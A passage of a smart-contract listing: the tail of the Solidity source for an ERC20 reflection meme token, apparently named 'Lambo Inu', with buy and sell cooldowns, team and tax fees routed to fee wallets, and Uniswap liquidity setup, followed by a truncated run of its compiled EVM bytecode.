!= address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 2000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130d9565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf7565b61054a565b6040516101a491906130be565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bb565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba8565b610579565b60405161020c91906130be565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bb565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613330565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c85565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c33565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1a565b61084a565b6040516102f191906132bb565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1a565b610913565b60405161034591906132bb565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff0565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130d9565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf7565b610b1d565b6040516103ef91906130be565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130be565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1a565b610b52565b60405161045791906132bb565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bb565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6c565b610d19565b6040516104ed91906132bb565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600981526020017f4c616d626f20496e750000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319b565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bb565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fb565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130be565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db0565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eab565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4c414d424ff09f90950000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613481565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f19565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fb565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550605a42610cdf91906133a0565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fb565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b43565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b43565b6040518363ffffffff1660e01b815260040161104892919061300b565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b43565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305d565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612cae565b505050671bc16d674ec8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613034565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5c565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fb565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321b565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8957601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f55760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329b565b60405180910390fd5b6002600981905550600a8081905550601460159054906101000a900460ff161561198b5742601554111561198a576010548111156118b257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d9061315b565b60405180910390fd5b602d4261194391906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f457600f426119ad91906133a0565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0030610913565b9050601460169054906101000a900460ff16158015611a6d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a83575060148054906101000a900460ff165b15611c8757601460159054906101000a900460ff1615611b225742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906131bb565b60405180910390fd5b5b601460179054906101000a900460ff1615611bac576000611b4e600c548461221390919063ffffffff16565b9050611b9f611b9084611b82601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228e90919063ffffffff16565b826122ec90919063ffffffff16565b9050611baa81612336565b505b6000811115611c6d57611c076064611bf9600b54611beb601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b811115611c6357611c606064611c52600b54611c44601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221390919063ffffffff16565b6122ec90919063ffffffff16565b90505b611c6c81611f19565b5b60004790506000811115611c8557611c8447611db0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3a57600090505b611d46848484846123ed565b50505050565b6000838311158290611d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8b91906130d9565b60405180910390fd5b5060008385611da39190613481565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e006002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2b573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7c6002846122ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea7573d6000803e3d6000fd5b5050565b6000600754821115611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee99061311b565b60405180910390fd5b6000611efc61241a565b9050611f1181846122ec90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa55781602001602082028036833780820191505090505b5090503081600081518110611fe3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208557600080fd5b505afa158015612099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120bd9190612b43565b816001815181106120f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215e30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c29594939291906132d6565b600060405180830381600087803b1580156121dc57600080fd5b505af11580156121f0573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122265760009050612288565b600082846122349190613427565b905082848261224391906133f6565b14612283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227a906131db565b60405180910390fd5b809150505b92915050565b600080828461229d91906133a0565b9050838110156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d99061317b565b60405180910390fd5b8091505092915050565b600061232e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612445565b905092915050565b6000600a9050600a82101561234e57600a9050612365565b602882111561236057601e9050612364565b8190505b5b600061237b6002836124a890919063ffffffff16565b1461238f57808061238b9061354f565b9150505b6123b6600a6123a860028461221390919063ffffffff16565b6122ec90919063ffffffff16565b6009819055506123e3600a6123d5600a8461221390919063ffffffff16565b6122ec90919063ffffffff16565b600a819055505050565b806123fb576123fa6124f2565b5b612406848484612535565b8061241457612413612700565b5b50505050565b6000806000612427612714565b9150915061243e81836122ec90919063ffffffff16565b9250505090565b6000808311829061248c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248391906130d9565b60405180910390fd5b506000838561249b91906133f6565b9050809150509392505050565b60006124ea83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612776565b905092915050565b600060095414801561250657506000600a54145b1561251057612533565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612547876127d4565b9550955095509550955095506125a586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268681612886565b6126908483612943565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ed91906132bb565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274a683635c9adc5dea000006007546122ec90919063ffffffff16565b82101561276957600754683635c9adc5dea00000935093505050612772565b81819350935050505b9091565b60008083141582906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b591906130d9565b60405180910390fd5b5082846127cb9190613598565b90509392505050565b60008060008060008060008060006127f18a600954600a5461297d565b925092509250600061280161241a565b905060008060006128148e878787612a13565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4c565b905092915050565b600061289061241a565b905060006128a7828461221390919063ffffffff16565b90506128fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129588260075461283c90919063ffffffff16565b6007819055506129738160085461228e90919063ffffffff16565b6008819055505050565b6000806000806129a9606461299b888a61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129d360646129c5888b61221390919063ffffffff16565b6122ec90919063ffffffff16565b905060006129fc826129ee858c61283c90919063ffffffff16565b61283c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2c858961221390919063ffffffff16565b90506000612a43868961221390919063ffffffff16565b90506000612a5a878961221390919063ffffffff16565b90506000612a8382612a75858761283c90919063ffffffff16565b61283c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aab816139cc565b92915050565b600081519050612ac0816139cc565b92915050565b600081359050612ad5816139e3565b92915050565b600081519050612aea816139e3565b92915050565b600081359050612aff816139fa565b92915050565b600081519050612b14816139fa565b92915050565b600060208284031215612b2c57600080fd5b6000612b3a84828501612a9c565b91505092915050565b600060208284031215612b5557600080fd5b6000612b6384828501612ab1565b91505092915050565b60008060408385031215612b7f57600080fd5b6000612b8d85828601612a9c565b9250506020612b9e85828601612a9c565b9150509250929050565b600080600060608486031215612bbd57600080fd5b6000612bcb86828701612a9c565b9350506020612bdc86828701612a9c565b9250506040612bed86828701612af0565b9150509250925092565b60008060408385031215612c0a57600080fd5b6000612c1885828601612a9c565b9250506020612c2985828601612af0565b9150509250929050565b600060208284031215612c4557600080fd5b6000612c5384828501612ac6565b91505092915050565b600060208284031215612c6e57600080fd5b6000612c7c84828501612adb565b91505092915050565b600060208284031215612c9757600080fd5b6000612ca584828501612af0565b91505092915050565b600080600060608486031215612cc357600080fd5b6000612cd186828701612b05565b9350506020612ce286828701612b05565b9250506040612cf386828701612b05565b9150509250925092565b6000612d098383612d15565b60208301905092915050565b612d1e816134b5565b82525050565b612d2d816134b5565b82525050565b6000612d3e8261335b565b612d48818561337e565b9350612d538361334b565b8060005b83811015612d84578151612d6b8882612cfd565b9750612d7683613371565b925050600181019050612d57565b5085935050505092915050565b612d9a816134c7565b82525050565b612da98161350a565b82525050565b6000612dba82613366565b612dc4818561338f565b9350612dd481856020860161351c565b612ddd81613627565b840191505092915050565b6000612df560238361338f565b9150612e0082613638565b604082019050919050565b6000612e18602a8361338f565b9150612e2382613687565b604082019050919050565b6000612e3b60228361338f565b9150612e46826136d6565b604082019050919050565b6000612e5e60228361338f565b9150612e6982613725565b604082019050919050565b6000612e81601b8361338f565b9150612e8c82613774565b602082019050919050565b6000612ea460158361338f565b9150612eaf8261379d565b602082019050919050565b6000612ec760238361338f565b9150612ed2826137c6565b604082019050919050565b6000612eea60218361338f565b9150612ef582613815565b604082019050919050565b6000612f0d60208361338f565b9150612f1882613864565b602082019050919050565b6000612f3060298361338f565b9150612f3b8261388d565b604082019050919050565b6000612f5360258361338f565b9150612f5e826138dc565b604082019050919050565b6000612f7660248361338f565b9150612f818261392b565b604082019050919050565b6000612f9960178361338f565b9150612fa48261397a565b602082019050919050565b6000612fbc60188361338f565b9150612fc7826139a3565b602082019050919050565b612fdb816134f3565b82525050565b612fea816134fd565b82525050565b60006020820190506130056000830184612d24565b92915050565b60006040820190506130206000830185612d24565b61302d6020830184612d24565b9392505050565b60006040820190506130496000830185612d24565b6130566020830184612fd2565b9392505050565b600060c0820190506130726000830189612d24565b61307f6020830188612fd2565b61308c6040830187612da0565b6130996060830186612da0565b6130a66080830185612d24565b6130b360a0830184612fd2565b979650505050505050565b60006020820190506130d36000830184612d91565b92915050565b600060208201905081810360008301526130f38184612daf565b905092915050565b6000602082019050818103600083015261311481612de8565b9050919050565b6000602082019050818103600083015261313481612e0b565b9050919050565b6000602082019050818103600083015261315481612e2e565b9050919050565b6000602082019050818103600083015261317481612e51565b9050919050565b6000602082019050818103600083015261319481612e74565b9050919050565b600060208201905081810360008301526131b481612e97565b9050919050565b600060208201905081810360008301526131d481612eba565b9050919050565b600060208201905081810360008301526131f481612edd565b9050919050565b6000602082019050818103600083015261321481612f00565b9050919050565b6000602082019050818103600083015261323481612f23565b9050919050565b6000602082019050818103600083015261325481612f46565b9050919050565b6000602082019050818103600083015261327481612f69565b9050919050565b6000602082019050818103600083015261329481612f8c565b9050919050565b600060208201905081810360008301526132b481612faf565b9050919050565b60006020820190506132d06000830184612fd2565b92915050565b600060a0820190506132eb6000830188612fd2565b6132f86020830187612da0565b818103604083015261330a8186612d33565b90506133196060830185612d24565b6133266080830184612fd2565b9695505050505050565b60006020820190506133456000830184612fe1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ab826134f3565b91506133b6836134f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133eb576133ea6135c9565b5b8282019050